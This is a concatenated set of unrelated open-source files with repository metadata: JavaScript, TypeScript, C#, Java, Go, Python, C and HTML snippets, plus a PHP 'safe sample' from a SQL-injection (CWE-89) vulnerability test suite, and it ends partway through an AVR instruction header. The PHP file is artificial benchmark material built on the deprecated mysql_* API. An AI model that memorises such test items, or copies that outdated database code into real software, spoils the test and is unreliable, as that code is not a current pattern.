PM.AddListener( function( message, message_event ){ alert( 'Parent got an important message' + message ); } );
// In the iframe
var PM = new PostMessenger( 'http://mydomain.com', parent );
PM.Send( "This is an important message!", "Important" ); // Will work
PM.Send( "This is a trivial message", "Trivial" ); // Ignored
Domains, sources and security
-----------------------------
In truth, it's not required to set a domain when using postMessage(), but PostMessenger will default to the current domain if you don't provide one. PostMessenger checks the domain for incoming messages and disregards any that don't match, and also uses it when sending so that for example if the page in the iframe has changed to a different domain (or an iframe is being included inside a page hosted on different domain), it won't send.
If you don't care about the domain, use '*':
var PM = new PostMessenger( '*', '#my-iframe' );
...but this is to be avoided if possible.
You don't HAVE to provide an element when listening (although obviously you do when sending). If you do provide an element to listen on, PostMessenger will compare this with the 'source' parameter of the postMessage() call to ensure that the message is coming from the expected element.
This will listen to all messages from any domain and any element:
var PM = new PostMessenger( '*', null );
PM.AddListener( function( message, message_event ){ alert( 'Parent got a message' + message ); } );
...although clearly you wouldn't be able to send because you haven't specified an element to send to. Again, this is not necessarily an advisable approach.
Usage in a popup
----------------
See limitations, below. The main difference is how you refer to the parent:
// In the outer (parent) page
var my_popup = window.open( 'http://mydomain.com', '', 'width=500,height=500' );
var PM = new PostMessenger( 'http://mydomain.com', my_popup );
PM.AddListener( function( message, message_event ){ alert( 'Parent got a message' + message ); } );
// In the popup
var PM = new PostMessenger( 'http://mydomain.com', window.opener );
PM.AddListener( function( message, message_event ){ alert( 'Popup got a message' + message ); } );
Known issues/limitations:
-------------------------
**All browsers:**
- Cross-domain messaging (i.e sending/receiving messages between pages hosted on two different domains) is only possible when using iframes. It will not work when using popup windows.
- JSON data will be dereferenced, meaning that changes to an object sent via postMessage after sending will not be reflected on the receiving page. Even if the script didn't use JSON.stringify/parse to serialize the data (for cross-browser compatibility) this would still be the case, as browsers will clone the data for security reasons.
**IE8/9**
- Due to limitations of postMessage() in these browsers, messaging between a page and a popup is not supported at all.
|
Taeon/PostMessenger
|
README.md
|
Markdown
|
mit
| 5,469
|
---
layout: page
title: contact
permalink: /contact/
seo:
type: person
---
<form
action="https://formspree.io/f/mjvjzkqb"
method="POST"
>
<label>
Your email:
<input type="email" name="_replyto">
</label>
<label>
Your message:
<textarea name="message"></textarea>
</label>
<!-- your other form fields go here -->
<button type="submit">Send</button>
</form>
|
mucoze/mucoze.github.io
|
iletisim.md
|
Markdown
|
mit
| 391
|
export {
SocialLoginService,
SocialLoginServiceImpl
} from "./social-login.service";
export { SocialLoginServiceStub } from "./social-login.service.stub";
export { SocialLoginResponse, SocialLoginRequest } from "./model";
export { PerformLoginComponent } from "./perform-login";
|
jSherz/lsd-members
|
frontend/src/app/members/social-login/index.ts
|
TypeScript
|
mit
| 286
|
namespace SoundFingerprinting.Hashing.MinHash
{
using SoundFingerprinting.Dao;
using SoundFingerprinting.Infrastructure;
public class DatabasePermutations : IPermutations
{
private readonly IModelService modelService;
public DatabasePermutations()
: this(DependencyResolver.Current.Get<IModelService>())
{
}
public DatabasePermutations(IModelService modelService)
{
this.modelService = modelService;
}
public int[][] GetPermutations()
{
return ReadPermutations();
}
protected int[][] ReadPermutations()
{
return modelService.ReadPermutationsForLSHAlgorithm();
}
}
}
|
Stevoman/DuplicatesDetector
|
SoundFingerprinting/Hashing/MinHash/DatabasePermutations.cs
|
C#
|
mit
| 745
|
# usos-bot
A browser-bot for automated course registration in the USOS sytem written using node.js
|
ice9js/usos-bot
|
README.md
|
Markdown
|
mit
| 99
|
<?php
/*
Safe sample
input : get the field UserData from the variable $_POST
Uses a number_int_filter via filter_var function
construction : use of sprintf via a %d
*/
/*Copyright 2015 Bertrand STIVALET
Permission is hereby granted, without written agreement or royalty fee, to
use, copy, modify, and distribute this software and its documentation for
any purpose, provided that the above copyright notice and the following
three paragraphs appear in all copies of this software.
IN NO EVENT SHALL AUTHORS BE LIABLE TO ANY PARTY FOR DIRECT,
INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN IF AUTHORS HAVE
BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
AUTHORS SPECIFICALLY DISCLAIM ANY WARRANTIES INCLUDING, BUT NOT
LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
PARTICULAR PURPOSE, AND NON-INFRINGEMENT.
THE SOFTWARE IS PROVIDED ON AN "AS-IS" BASIS AND AUTHORS HAVE NO
OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
MODIFICATIONS.*/
$tainted = $_POST['UserData'];
$sanitized = filter_var($tainted, FILTER_SANITIZE_NUMBER_INT);
if (filter_var($sanitized, FILTER_VALIDATE_INT))
$tainted = $sanitized ;
else
$tainted = "" ;
$query = sprintf("SELECT * FROM student where id=%d", $tainted);
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password'); // Connection to the database (address, user, password)
mysql_select_db('dbname') ;
echo "query : ". $query ."<br /><br />" ;
$res = mysql_query($query); //execution
while($data =mysql_fetch_array($res)){
print_r($data) ;
echo "<br />" ;
}
mysql_close($conn);
?>
|
stivalet/PHP-Vulnerability-test-suite
|
Injection/CWE_89/safe/CWE_89__POST__func_FILTER-CLEANING-number_int_filter__select_from_where-sprintf_%d.php
|
PHP
|
mit
| 1,674
|
<div class="content-section introduction">
<div>
<span class="feature-title">Lightbox</span>
<span>LightBox is a modal overlay component to display images, videos, inline html content and iframes.</span>
</div>
</div>
<div class="content-section implementation">
<h3 class="first">Basic</h3>
<p-lightbox [images]="images"></p-lightbox>
<h3>Content</h3>
<p-lightbox type="content">
<a class="group" href="#">
Watch Video
</a>
<iframe width="560" height="315" src="https://www.youtube.com/embed/9bZkp7q19f0" frameborder="0" allowfullscreen></iframe>
</p-lightbox>
</div>
<div class="content-section documentation">
<p-tabView effect="fade">
<p-tabPanel header="Documentation">
<h3>Import</h3>
<pre>
<code class="language-typescript" pCode ngNonBindable>
import {LightboxModule} from 'primeng/primeng';
</code>
</pre>
<h3>Getting Started</h3>
<p>Lightbox has two modes; <i>image</i> and <i>custom content</i> defined using type property. In image mode a collection of
images are required to display where an image object in the collection defines the source of the original image, thumbnail image and the title.</p>
<pre>
<code class="language-markup" pCode ngNonBindable>
<p-lightbox [images]="images"></p-lightbox>
</code>
</pre>
<pre>
<code class="language-typescript" pCode ngNonBindable>
export class LightboxDemo {
images: any[];
constructor() {
this.images = [];
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos1.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos1_small.jpg', title:'Sopranos 1'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos2.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos2_small.jpg', title:'Sopranos 2'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos3.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos3_small.jpg', title:'Sopranos 3'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos4.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos4_small.jpg', title:'Sopranos 4'});
}
}
</code>
</pre>
<p>Content mode is enabled by setting type property to "content", providing an anchor to open the lightbox and content to display inside lightbox.</p>
<pre>
<code class="language-markup" pCode ngNonBindable>
<p-lightbox type="content">
<a class="group" href="#">
Watch Video
</a>
<iframe width="560" height="315" src="https://www.youtube.com/embed/9bZkp7q19f0" frameborder="0" allowfullscreen></iframe>
</p-lightbox>
</code>
</pre>
<h3>Effects</h3>
<p>The easing function to use between image transitions is "ease-out" by default and this can be customized using easing property.
See <a href="http://www.w3schools.com/cssref/css3_pr_transition-timing-function.asp">here</a> for possible alternative values. Duration
of the effect can be changed using effectDuration option.</p>
<pre>
<code class="language-markup" pCode ngNonBindable>
<p-lightbox [images]="images" easing="ease-in" effectDuration="1500ms"></p-lightbox>
</code>
</pre>
<h3>Properties</h3>
<div class="doc-tablewrapper">
<table class="doc-table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Default</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>images</td>
<td>array</td>
<td>null</td>
<td>An array of images to display.</td>
</tr>
<tr>
<td>type</td>
<td>string</td>
<td>image</td>
<td>Type of the lightbox, valid values are "image" and "content".</td>
</tr>
<tr>
<td>style</td>
<td>string</td>
<td>null</td>
<td>Inline style of the component.</td>
</tr>
<tr>
<td>styleClass</td>
<td>string</td>
<td>null</td>
<td>Style class of the component.</td>
</tr>
<tr>
<td>easing</td>
<td>string</td>
<td>ease-out</td>
<td>Easing to use for transition between images.</td>
</tr>
<tr>
<td>effectDuration</td>
<td>string</td>
<td>500ms</td>
<td>Duration of the transition between the images.</td>
</tr>
</tbody>
</table>
</div>
<h3>Styling</h3>
<p>Following is the list of structural style classes, for theming classes visit <a href="#" [routerLink]="['/theming']">theming page</a>.</p>
<div class="doc-tablewrapper">
<table class="doc-table">
<thead>
<tr>
<th>Name</th>
<th>Element</th>
</tr>
</thead>
<tbody>
<tr>
<td>ui-lightbox</td>
<td>Container element</td>
</tr>
<tr>
<td>ui-lightbox-content</td>
<td>Content element.</td>
</tr>
<tr>
<td>ui-lightbox-nav-right</td>
<td>Element to navigate to next image.</td>
</tr>
<tr>
<td>ui-lightbox-nav-left</td>
<td>Element to navigate to previous image.</td>
</tr>
<tr>
<td>ui-lightbox-caption</td>
<td>Caption element.</td>
</tr>
<tr>
<td>ui-lightbox-caption-text</td>
<td>Text of caption.</td>
</tr>
<tr>
<td>ui-lightbox-close</td>
<td>Close icon.</td>
</tr>
</tbody>
</table>
</div>
<h3>Dependencies</h3>
<p>None.</p>
</p-tabPanel>
<p-tabPanel header="Source">
<a href="https://github.com/primefacestree/master/src/app/showcase/components/lightbox" class="btn-viewsource" target="_blank">
<i class="fa fa-github"></i>
<span>View on GitHub</span>
</a>
<pre>
<code class="language-markup" pCode ngNonBindable>
<h3 class="first">Basic</h3>
<p-lightbox [images]="images"></p-lightbox>
<h3>Content</h3>
<p-lightbox type="content">
<a class="group" href="#">
Watch Video
</a>
<iframe width="560" height="315" src="https://www.youtube.com/embed/9bZkp7q19f0" frameborder="0" allowfullscreen></iframe>
</p-lightbox>
</code>
</pre>
<pre>
<code class="language-typescript" pCode ngNonBindable>
export class LightboxDemo {
images: any[];
constructor() {
this.images = [];
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos1.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos1_small.jpg', title:'Sopranos 1'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos2.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos2_small.jpg', title:'Sopranos 2'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos3.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos3_small.jpg', title:'Sopranos 3'});
this.images.push({source:'assets/showcase/images/demo/sopranos/sopranos4.jpg', thumbnail: 'assets/showcase/images/demo/sopranos/sopranos4_small.jpg', title:'Sopranos 4'});
}
}
</code>
</pre>
</p-tabPanel>
</p-tabView>
</div>
|
kcjonesevans/primeng
|
src/app/showcase/components/lightbox/lightboxdemo.html
|
HTML
|
mit
| 9,170
|
package projectmanager.dada.adapter;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.TextView;
import com.amap.api.services.core.PoiItem;
import java.util.List;
import projectmanager.dada.R;
/**
* Created by tao on 2016/12/12.
*/
public class LocationAdapter extends ArrayAdapter<PoiItem> {
int resource;
public LocationAdapter(Context context, int resource, List<PoiItem> tipList) {
super(context, resource, tipList);
this.resource = resource;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
PoiItem tip = getItem(position);
View view = LayoutInflater.from(getContext()).inflate(resource, null);//子项的view
TextView name = (TextView) view.findViewById(R.id.locatin_name);
TextView address = (TextView) view.findViewById(R.id.locatin_address);
name.setText(tip.getTitle());
address.setText(tip.getSnippet());
return view;
}
}
|
jichaofdu/PM_Project
|
Client/Dada/app/src/main/java/projectmanager/dada/adapter/LocationAdapter.java
|
Java
|
mit
| 1,105
|
https://www.tropo.com/docs/webapi/call.htm
TPCall has not been documented yet. The class comment should describe the purpose of the class, its collaborations and its variables.
Instance Variables:
to <ProtoObject | PseudoContext>
answerOnMedia <ProtoObject | PseudoContext>
channel <ProtoObject | PseudoContext>
from <ProtoObject | PseudoContext>
headers <ProtoObject | PseudoContext>
name <ProtoObject | PseudoContext>
network <ProtoObject | PseudoContext>
recording <ProtoObject | PseudoContext>
required <ProtoObject | PseudoContext>
timeout <ProtoObject | PseudoContext>
|
pdebruic/tropo-smalltalk
|
Tropo.package/TPCall.class/README.md
|
Markdown
|
mit
| 586
|
class MiniMatch:
_defaults = dict(
follow_links=True,
list_directories=True
)
def __init__(self, *patterns, **kwargs):
self._patterns = patterns
self.__dict__.update(MiniMatch._defaults)
self.__dict__.update(kwargs)
|
spiralx/py-minimatch
|
minimatch/match.py
|
Python
|
mit
| 270
|
using System.Xml.Serialization;
namespace MyFlightscope.Proxy.DTO
{
public class BallForGolfBag
{
[XmlElement("ID")]
public string ID { get; set; }
[XmlElement("BallIndex")]
public int BallIndex { get; set; }
[XmlElement("Ball")]
public Ball Ball { get; set; }
}
}
|
judgie79/MyFlight
|
MyFlightscope.Proxy/DTO/BallForGolfBag.cs
|
C#
|
mit
| 327
|
<table width="90%" border="0"><tr><td><script>function openfile(url) {fullwin = window.open(url, "fulltext", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes");}</script><div class="flayoutclass"><div class="flayoutclass_first"><table class="tableoutfmt2"><tr><th class="std1"><b>條目 </b></th><td class="std2">第八藝術</td></tr>
<tr><th class="std1"><b>注音 </b></th><td class="std2">ㄉ|<sup class="subfont">ˋ</sup> ㄅㄚ |<sup class="subfont">ˋ</sup> ㄕㄨ<sup class="subfont">ˋ</sup></td></tr>
<tr><th class="std1"><b>漢語拼音 </b></th><td class="std2"><font class="english_word">dì bā yì shù</font></td></tr>
<tr><th class="std1"><b>釋義 </b></th><td class="std2">電影。電影在藝術上位於文學、音樂、繪畫、戲劇、建築、雕刻、舞蹈等七種藝術的後面,故稱為<img src=/cydic/dicword/fa40.gif border=0 alt=* class=fontimg valign=center>第八藝術<img src=/cydic/dicword/fa41.gif border=0 alt=* class=fontimg valign=center>。</td></tr>
<tr><th class="std1"><b><font class="fltypefont">附錄</font> </b></th><td class="std2">修訂本參考資料</td></tr>
</td></tr></table></div> <!-- flayoutclass_first --><div class="flayoutclass_second"></div> <!-- flayoutclass_second --></div> <!-- flayoutclass --></td></tr></table>
|
BuzzAcademy/idioms-moe-unformatted-data
|
all-data/26000-26999/26743-22.html
|
HTML
|
mit
| 1,362
|
/**
* \file
*
* \brief SPI PDC example configuration.
*
* Copyright (c) 2013-2014 Atmel Corporation. All rights reserved.
*
* \asf_license_start
*
* \page License
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The name of Atmel may not be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* 4. This software may only be redistributed and used in connection with an
* Atmel microcontroller product.
*
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* \asf_license_stop
*
*/
/**
* \defgroup spi_example_pin_defs
* - <b> SAMG53 XPRO -- SAMG53 XPRO </b>
* - VCC -- VCC
* - NPCS0(PA11) -- NPCS0(PA11)
* - MISO(PA12) -- MISO(PA12)
* - MOSI(PA13) -- MOSI(PA13)
* - SPCK(PA14) -- SPCK(PA14)
* - GND -- GND
*/
/**
* Support and FAQ: visit <a href="http://www.atmel.com/design-support/">Atmel Support</a>
*/
#ifndef CONF_SPI_PDC_EXAMPLE_H_INCLUDED
#define CONF_SPI_PDC_EXAMPLE_H_INCLUDED
/// @cond 0
/**INDENT-OFF**/
#ifdef __cplusplus
extern "C" {
#endif
/**INDENT-ON**/
/// @endcond
#define SPI_Handler SPI_Handler
#define SPI_IRQn SPI_IRQn
/// @cond 0
/**INDENT-OFF**/
#ifdef __cplusplus
}
#endif
/**INDENT-ON**/
/// @endcond
#endif /* CONF_SPI_PDC_EXAMPLE_H_INCLUDED */
|
femtoio/femto-usb-blink-example
|
blinky/blinky/asf-3.21.0/sam/drivers/spi/spi_pdc_example/samg53n19_samg_xplained_pro/conf_spi_pdc_example.h
|
C
|
mit
| 2,486
|
#pragma once
/*
* Copyright(c) 2015 Jeremiah van Oosten
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files(the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and / or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions :
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
/**
* @file ShaderSignature.h
* @date March 16, 2016
* @author jeremiah
*
* @brief Define a shader signature for a pipeline state object.
* A shader signature defines the parameters that are bound to the pipeline.
*/
#include "../EngineDefines.h"
#include "Shader.h" // For ShaderType
namespace Graphics
{
class ShaderParameter;
class Sampler;
class ENGINE_DLL ShaderSignature
{
public:
/**
* The list of parameters stored in a shader signature.
*/
using ParameterList = std::vector<ShaderParameter>;
virtual const ParameterList& GetParameters() const = 0;
virtual void SetParameters( const ParameterList& parameterList ) = 0;
virtual const ShaderParameter& GetParameter( unsigned int index ) const = 0;
virtual void SetParameter( unsigned int index, const ShaderParameter& parameter ) = 0;
/**
* Return the number of parameters in the shader signature.
*/
virtual uint32_t GetNumParameters() const = 0;
/**
* Allow assignment.
*/
virtual ShaderSignature& operator=( const ShaderSignature& rhs ) = 0;
/**
* Get or set a shader parameter at a particular slot in the shader signature.
*/
virtual ShaderParameter& operator[]( unsigned int index ) = 0;
virtual const ShaderParameter& operator[]( unsigned int index ) const = 0;
/**
* Set a static sampler defined in the shader signature.
* @param slotID The slot in the shader signature to assign the static sampler.
* @param sampler The texture sampler to assign.
* @param shaderRegister The register location in the shader to assign this sampler.
* @param registerSpace The register space to assign the sampler. Default is register space 0.
* @param shaderVisibility Which stages of the rendering pipeline to bind this sampler to. Default it to bind it to every shader stage.
*/
virtual void SetStaticSampler( uint32_t slotID, std::shared_ptr<Sampler> sampler, uint32_t shaderRegister, ShaderType shaderVisibility = ShaderType::All, uint32_t registerSpace = 0 ) = 0;
virtual std::shared_ptr<Sampler> GetStaticSampler( uint32_t slotID ) const = 0;
/**
* Return the number of static samplers in the root signature.
*/
virtual uint32_t GetNumStaticSamplers() const = 0;
};
}
|
jpvanoosten/VolumeTiledForwardShading
|
Engine/inc/Graphics/ShaderSignature.h
|
C
|
mit
| 3,625
|
package config
import "testing"
func TestNodeResourceConfigParsing(t *testing.T) {
yaml := `
Scheduler:
Node:
Resources:
Cpus: 42
RamGb: 2.5
DiskGb: 50.0
`
conf := Config{}
Parse([]byte(yaml), &conf)
if conf.Scheduler.Node.Resources.Cpus != 42 {
t.Fatal("unexpected cpus")
}
if conf.Scheduler.Node.Resources.RamGb != 2.5 {
t.Fatal("unexpected ram")
}
if conf.Scheduler.Node.Resources.DiskGb != 50.0 {
t.Fatal("unexpected disk")
}
}
func TestEnsureServerProperties(t *testing.T) {
serverAddress := "test:9999"
conf := Config{}
conf.Server.HostName = "test"
conf.Server.RPCPort = "9999"
result := EnsureServerProperties(conf)
if result.Server.RPCAddress() != serverAddress {
t.Fatal("unexpected server address")
}
if result.Scheduler.Node.ServerAddress != serverAddress {
t.Fatal("unexpected node server address")
}
if result.Worker.EventWriters.RPC.ServerAddress != serverAddress {
t.Fatal("unexpected server address in worker config")
}
if result.Worker.TaskReaders.RPC.ServerAddress != serverAddress {
t.Fatal("unexpected server address in worker config")
}
}
|
buchanae/funnel
|
config/config_test.go
|
GO
|
mit
| 1,127
|
/*
*
* Copyright (c) Microsoft. All rights reserved.
* Licensed under the MIT license.
*
* Project Oxford: http://ProjectOxford.ai
*
* Project Oxford Mimicker Alarm Github:
* https://github.com/Microsoft/ProjectOxford-Apps-MimickerAlarm
*
* Copyright (c) Microsoft Corporation
* All rights reserved.
*
* MIT License:
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
package com.microsoft.mimickeralarm.globalsettings;
import android.content.Context;
import android.media.AudioManager;
import android.support.v7.preference.Preference;
import android.support.v7.preference.PreferenceViewHolder;
import android.util.AttributeSet;
import android.widget.SeekBar;
import com.microsoft.mimickeralarm.R;
/**
* This class is a custom preference to enable the display of a volume slider. As the user slides
* the SeekBar, the system alarm volume is changed.
*/
public class VolumeSliderPreference extends Preference
implements SeekBar.OnSeekBarChangeListener {
private SeekBar mVolumeLevel;
private AudioManager mAudioManager;
public VolumeSliderPreference(Context context, AttributeSet attrs) {
super(context, attrs);
setLayoutResource(R.layout.preference_volumeslider);
}
@Override
public void onBindViewHolder(PreferenceViewHolder holder) {
super.onBindViewHolder(holder);
mAudioManager = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_ALARM);
int currentVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ALARM);
mVolumeLevel = (SeekBar) holder.findViewById(R.id.volume_level);
mVolumeLevel.setMax(maxVolume);
mVolumeLevel.setProgress(currentVolume);
mVolumeLevel.setOnSeekBarChangeListener(this);
}
@Override
public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM,
progress,
AudioManager.FLAG_PLAY_SOUND);
}
@Override
public void onStartTrackingTouch(SeekBar seekBar) {
}
@Override
public void onStopTrackingTouch(SeekBar seekBar) {
}
public void increaseVolume() {
int current = mVolumeLevel.getProgress();
if (current < mVolumeLevel.getMax()) {
mVolumeLevel.setProgress(current + 1);
}
}
public void decreaseVolume() {
int current = mVolumeLevel.getProgress();
if (current > 0) {
mVolumeLevel.setProgress(current - 1);
}
}
}
|
Microsoft/ProjectOxford-Apps-MimickerAlarm
|
Mimicker/app/src/main/java/com/microsoft/mimickeralarm/globalsettings/VolumeSliderPreference.java
|
Java
|
mit
| 3,648
|
////////////////////////////////////////////////////////////////////////////////
// instr.h
////////////////////////////////////////////////////////////////////////////////
#pragma once
#include "avr.h"
namespace AVR
{
////////////////////////////////////////////////////////////////////////////////
// Instruction Classes
////////////////////////////////////////////////////////////////////////////////
#define INSTR(name) \
class Instr##name : public Instruction \
{ \
public: \
Instr##name() ; \
virtual ~Instr##name() ; \
virtual uint8_t Execute(Mcu &mcu, Command cmd) const ; \
virtual std::string Disasm (Mcu &mcu, Command cmd) const ; \
virtual XrefType Xref (Mcu &mcu, Command cmd, uint32_t &addr) const ; \
} ; \
extern Instr##name instr##name
////////////////////////////////////////////////////////////////////////////////
// Arithmetic and Logic Instructions
////////////////////////////////////////////////////////////////////////////////
INSTR(ADD) ;
INSTR(ADC) ;
INSTR(ADIW) ;
INSTR(SUB) ;
INSTR(SUBI) ;
INSTR(SBC) ;
INSTR(SBCI) ;
INSTR(SBIW) ;
INSTR(AND) ;
INSTR(ANDI) ;
INSTR(OR) ;
INSTR(ORI) ;
INSTR(EOR) ;
INSTR(COM) ;
INSTR(NEG) ;
//INSTR(SBR) ; => ORI r, i
//INSTR(CBR) ; => ANDI r, i
INSTR(INC) ;
INSTR(DEC) ;
//INSTR(TST) ; => AND r, r
//INSTR(CLR) ; => EOR r, r
//INSTR(SER) ; => LDI r, 0xff
INSTR(MUL) ;
INSTR(MULS) ;
INSTR(MULSU) ;
INSTR(FMUL) ;
INSTR(FMULS) ;
INSTR(FMULSU) ;
INSTR(DES) ;
////////////////////////////////////////////////////////////////////////////////
// Branch Instructions
////////////////////////////////////////////////////////////////////////////////
INSTR(RJMP) ;
INSTR(IJMP) ;
INSTR(EIJMP) ;
INSTR(JMP) ;
INSTR(RCALL) ;
INSTR(ICALL) ;
INSTR(EICALL) ;
INSTR(CALL) ;
INSTR(RET) ;
INSTR(RETI) ;
INSTR(CPSE) ;
INSTR(CP) ;
INSTR(CPC) ;
INSTR(CPI) ;
INSTR(SBRC) ;
INSTR(SBRS) ;
INSTR(SBIC) ;
INSTR(SBIS) ;
INSTR(BRBS) ;
INSTR(BRBC) ;
//INSTR(BREQ) ; => BRBS
//INSTR(BRNE) ; => BRBC
//INSTR(BRCS) ; => BRBS
//INSTR(BRCC) ; => BRBC
//INSTR(BRSH) ; => BRCC
//INSTR(BRLO) ; => BRCS
//INSTR(BRMI) ; => BRBS
//INSTR(BRPL) ; => BRBC
//INSTR(BRGE) ; => BRBS
//INSTR(BRLT) ; => BRBC
//INSTR(BRHS) ; => BRBS
//INSTR(BRHC) ; => BRBC
//INSTR(BRTS) ; => BRBS
//INSTR(BRTC) ; => BRBC
//INSTR(BRVS) ; => BRBS
//INSTR(BRVC) ; => BRBC
//INSTR(BRIE) ; => BRBS
//INSTR(BRID) ; => BRBC
////////////////////////////////////////////////////////////////////////////////
// Data Transfer Instructions
////////////////////////////////////////////////////////////////////////////////
INSTR(MOV) ;
INSTR(MOVW) ;
INSTR(LDI) ;
INSTR(LDS) ;
//INSTR(LDS16) ; not implemented
INSTR(LDx1) ;
INSTR(LDx2) ;
INSTR(LDx3) ;
INSTR(LDy1) ;
INSTR(LDy2) ;
INSTR(LDy3) ;
INSTR(LDy4) ;
INSTR(LDz1) ;
INSTR(LDz2) ;
INSTR(LDz3) ;
INSTR(LDz4) ;
INSTR(STS) ;
//INSTR(STS16) ; not implemented
INSTR(STx1) ;
INSTR(STx2) ;
INSTR(STx3) ;
INSTR(STy1) ;
INSTR(STy2) ;
INSTR(STy3) ;
INSTR(STy4) ;
INSTR(STz1) ;
INSTR(STz2) ;
INSTR(STz3) ;
INSTR(STz4) ;
INSTR(LPM1) ;
INSTR(LPM2) ;
INSTR(LPM3) ;
INSTR(ELPM1) ;
INSTR(ELPM2) ;
INSTR(ELPM3) ;
INSTR(SPM1) ;
INSTR(SPM2) ;
INSTR(IN) ;
INSTR(OUT) ;
INSTR(PUSH) ;
INSTR(POP) ;
INSTR(XCH) ;
INSTR(LAS) ;
INSTR(LAC) ;
INSTR(LAT) ;
////////////////////////////////////////////////////////////////////////////////
// Bit and Bit-test Instructions
////////////////////////////////////////////////////////////////////////////////
//INSTR(LSL) ; => ADD r,r
INSTR(LSR) ;
//INSTR(ROL) ; => ADC r,r
INSTR(ROR) ;
INSTR(ASR) ;
INSTR(SWAP) ;
INSTR(BSET) ;
INSTR(BCLR) ;
INSTR(SBI) ;
INSTR(CBI) ;
INSTR(BST) ;
INSTR(BLD) ;
//INSTR(SEC) ; => BSET
//INSTR(CLC) ; => BCLR
//INSTR(SEN) ; => BSET
//INSTR(CLN) ; => BCLR
//INSTR(SEZ) ; => BSET
//INSTR(CLZ) ; => BCLR
//INSTR(SEI) ; => BSET
//INSTR(CLI) ; => BCLR
